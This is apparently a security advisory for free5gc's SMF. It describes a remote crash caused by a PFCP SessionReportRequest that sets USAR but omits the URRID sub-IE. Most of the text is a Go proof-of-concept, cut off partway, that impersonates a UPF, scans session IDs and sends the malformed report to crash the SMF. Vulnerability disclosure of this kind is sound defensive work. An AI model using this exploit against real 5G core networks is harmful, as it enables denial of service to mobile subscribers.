| Beschreibung | ## Bug Decription
The free5gc SMF PFCP report handling path can be crashed remotely by a malformed PFCP SessionReportRequest from a UPF (or attacker spoofing a UPF). When the report sets ReportType.USAR=1 and includes a UsageReport IE, but omits the mandatory URRID sub-IE, SMF dereferences a nil pointer while processing the report and panics, terminating the SMF process (DoS).
In the provided log, the crash occurs in SMContext.HandleReports() at internal/context/pfcp_reports.go:21, called from HandlePfcpSessionReportRequest() (internal/pfcp/handler/handler.go:195). The panic is a SIGSEGV nil pointer dereference (addr=0x0), indicating missing validation for report.URRID before accessing report.URRID.UrrIdValue.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
## To Reproduce
Steps to reproduce the behavior:
1) Start fake UPF mode:
code
```
// Vuln-PA2-06: SMF Nil Pointer Dereference via Missing URRID
// Target: free5gc SMF
// Impact: Denial of Service - SMF process crash
//
// Vulnerability: When SessionReportRequest has ReportType.Usar=true and UsageReport IE
// is present but URRID sub-IE is missing, pfcp_reports.go:21 accesses
// report.URRID.UrrIdValue causing nil dereference.
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
func main() {
mode := flag.String("mode", "client", "Mode: client or fake-upf")
targetIP := flag.String("target", "10.100.200.6", "Target SMF IP address (client mode)")
targetPort := flag.Int("port", 8805, "Target SMF PFCP port (client mode)")
nodeID := flag.String("node", "10.100.200.2", "NodeID used in Association Setup / fake UPF")
seid := flag.Uint64("seid", 1, "Target session SEID (client mode; must be valid existing session)")
scan := flag.Int("scan", 1, "Number of consecutive SEIDs to try starting from -seid (client mode)")
srTimeout := flag.Duration("sr-timeout", 2*time.Second, "Timeout waiting for SessionReportResponse (client mode)")
listenIP := flag.String("listen", "x.x.x.x", "Listen IP for fake UPF")
listenPort := flag.Int("listen-port", 8805, "Listen PFCP port for fake UPF")
reportDelay := flag.Duration("report-delay", 0, "Delay before sending SessionReportRequest (fake-upf mode)")
smfIP := flag.String("smf", "10.100.200.6", "SMF PFCP IP (fake-upf mode)")
smfPort := flag.Int("smf-port", 8805, "SMF PFCP port (fake-upf mode)")
sendAssoc := flag.Bool("send-assoc", true, "Send AssociationSetupRequest to SMF on startup (fake-upf mode)")
flag.Parse()
switch *mode {
case "client":
runClient(*targetIP, *targetPort, *nodeID, *seid, *scan, *srTimeout)
case "fake-upf":
runFakeUPF(*listenIP, *listenPort, *nodeID, *reportDelay, *smfIP, *smfPort, *sendAssoc)
default:
log.Fatalf("[-] Unknown mode: %s", *mode)
}
}
func runClient(targetIP string, targetPort int, nodeID string, seid uint64, scan int, srTimeout time.Duration) {
targetAddr := fmt.Sprintf("%s:%d", targetIP, targetPort)
log.Printf("[*] Vuln-PA2-06: SMF Nil Pointer Dereference PoC")
log.Printf("[*] Target: %s", targetAddr)
log.Printf("[*] NodeID: %s", nodeID)
log.Printf("[*] Attack: SessionReportRequest with UsageReport but no URRID")
log.Printf("[*] SEID: %d (0x%x)", seid, seid)
if scan > 1 {
log.Printf("[*] SEID scan: %d attempts starting from %d", scan, seid)
}
raddr, err := net.ResolveUDPAddr("udp", targetAddr)
if err != nil {
log.Fatalf("[-] Failed to resolve target address: %v", err)
}
conn, err := net.DialUDP("udp", nil, raddr)
if err != nil {
log.Fatalf("[-] Failed to create UDP connection: %v", err)
}
defer conn.Close()
log.Printf("[*] Step 0: Establishing PFCP Association...")
if !establishAssociation(conn, nodeID) {
log.Printf("[-] Failed to establish association")
return
}
log.Printf("[+] Association established successfully")
time.Sleep(500 * time.Millisecond)
log.Printf("[*] Vulnerability: pfcp_reports.go:21")
log.Printf("[*] usageReport.UrrId = report.URRID.UrrIdValue // nil deref!")
log.Printf("[*] Path: handler.go:194 -> HandleReports() when ReportType.Usar=true")
if scan < 1 {
log.Fatalf("[-] scan must be >= 1")
}
for i := 0; i < scan; i++ {
currentSeid := seid + uint64(i)
currentSeq := uint32(2 + i)
payload := buildSessionReportRequestUsarNoUrrid(currentSeid, currentSeq)
log.Printf("[*] Sending malicious SessionReportRequest...")
log.Printf("[*] SEID: %d (0x%x) Seq: %d", currentSeid, currentSeid, currentSeq)
log.Printf("[*] Message length: %d bytes", len(payload))
_, err = conn.Write(payload)
if err != nil {
log.Fatalf("[-] Failed to send message: %v", err)
}
log.Printf("[+] Message sent successfully")
if srTimeout <= 0 {
break
}
rsp, err := waitSessionReportResponse(conn, srTimeout)
if err != nil {
if nerr, ok := err.(net.Error); ok && nerr.Timeout() {
log.Printf("[*] No SessionReportResponse (timeout) - possible crash or drop")
} else {
log.Printf("[-] Failed to read SessionReportResponse: %v", err)
}
break
}
cause, ok := sessionReportCause(rsp)
if !ok {
log.Printf("[*] SessionReportResponse received without Cause IE")
break
}
if cause == ie.CauseSessionContextNotFound {
log.Printf("[-] SEID %d not found on SMF", currentSeid)
continue
}
log.Printf("[*] SessionReportResponse Cause: %d", cause)
break
}
log.Printf("[*] Waiting for crash propagation...")
log.Printf("[*] NOTE: Requires valid session with established UPF association")
time.Sleep(2 * time.Second)
probeSmf(conn)
}
func runFakeUPF(listenIP string, listenPort int, nodeID string, reportDelay time.Duration, smfIP string, smfPort int, sendAssoc bool) {
listenAddr := fmt.Sprintf("%s:%d", listenIP, listenPort)
laddr, err := net.ResolveUDPAddr("udp", listenAddr)
if err != nil {
log.Fatalf("[-] Failed to resolve listen address: %v", err)
}
conn, err := net.ListenUDP("udp", laddr)
if err != nil {
log.Fatalf("[-] Failed to listen on %s: %v", listenAddr, err)
}
defer conn.Close()
log.Printf("[*] Fake UPF mode: listening on %s", listenAddr)
log.Printf("[*] Fake UPF NodeID: %s", nodeID)
log.Printf("[*] SMF target: %s:%d", smfIP, smfPort)
log.Printf("[*] Waiting for AssociationSetupResponse, SessionEstablishmentRequest, and SessionModificationRequest...")
var smfAddr *net.UDPAddr
if sendAssoc {
target := fmt.Sprintf("%s:%d", smfIP, smfPort)
var err error
smfAddr, err = net.ResolveUDPAddr("udp", target)
if err != nil {
log.Fatalf("[-] Failed to resolve SMF address: %v", err)
}
if err := sendAssociationSetupRequest(conn, smfAddr, nodeID, 1); err != nil {
log.Printf("[-] Failed to send AssociationSetupRequest: %v", err)
} else {
log.Printf("[+] AssociationSetupRequest sent to %s", target)
}
}
buf := make([]byte, 4096)
reportSeq := uint32(100)
assocDone := false
reportPending := false
reportSent := false
var cpSeid uint64
var smfPeer *net.UDPAddr
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[-] Read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[-] Failed to parse PFCP message from %s: %v", raddr, err)
continue
}
switch m := msg.(type) {
case *message.AssociationSetupResponse:
log.Printf("[+] AssociationSetupResponse from %s (cause=%v)", raddr, m.Cause)
assocDone = true
case *message.AssociationSetupRequest:
reqNodeID := nodeIDFromIE(m.NodeID)
log.Printf("[*] AssociationSetupRequest from %s (NodeID: %s)", raddr, reqNodeID)
if err := sendAssociationSetupResponse(conn, raddr, nodeID, m.Sequence()); err != nil {
log.Printf("[-] Failed to send AssociationSetupResponse: %v", err)
} else {
log.Printf("[+] AssociationSetupResponse sent")
}
assocDone = true
case *message.SessionEstablishmentRequest:
reqNodeID := nodeIDFromIE(m.NodeID)
cpSeidFromReq, fseidInfo, ok := cpfSeidFromSessionEstablishment(m)
if !ok {
log.Printf("[-] SessionEstablishmentRequest missing CPFSEID (NodeID: %s)", reqNodeID)
continue
}
log.Printf("[*] SessionEstablishmentRequest from %s (NodeID: %s)", raddr, reqNodeID)
log.Printf("[*] CPFSEID: %d (0x%x) IPv4=%s IPv6=%s", cpSeidFromReq, cpSeidFromReq, ipString(fseidInfo.IPv4Address), ipString(fseidInfo.IPv6Address))
if !assocDone {
log.Printf("[!] SessionEstablishmentRequest received before AssociationSetupResponse")
}
if err := sendSessionEstablishmentResponse(conn, raddr, nodeID, listenIP, cpSeidFromReq, m.Sequence()); err != nil {
log.Printf("[-] Failed to send SessionEstablishmentResponse: %v", err)
} else {
log.Printf("[+] SessionEstablishmentResponse sent")
}
cpSeid = cpSeidFromReq
smfPeer = raddr
reportPending = true
log.Printf("[*] Report armed: waiting for SessionModificationRequest before sending SessionReportRequest")
case *message.SessionModificationRequest:
reqSeid := m.SEID()
log.Printf("[*] SessionModificationRequest from %s (SEID: %d)", raddr, reqSeid)
if err := sendSessionModificationResponse(conn, raddr, reqSeid, m.Sequence()); err != nil {
log.Printf("[-] Failed to send SessionModificationResponse: %v", err)
} else {
log.Printf("[+] SessionModificationResponse sent")
}
if reportPending && !reportSent && hasBufferedUpdateFAR(m) {
if reportDelay > 0 {
log.Printf("[*] Waiting %s before sending SessionReportRequest...", reportDelay)
time.Sleep(reportDelay)
}
reportSeq++
reportSeid := cpSeid
if reportSeid == 0 {
reportSeid = reqSeid
log.Printf("[!] CPFSEID not recorded; falling back to SEID from Ses |
|---|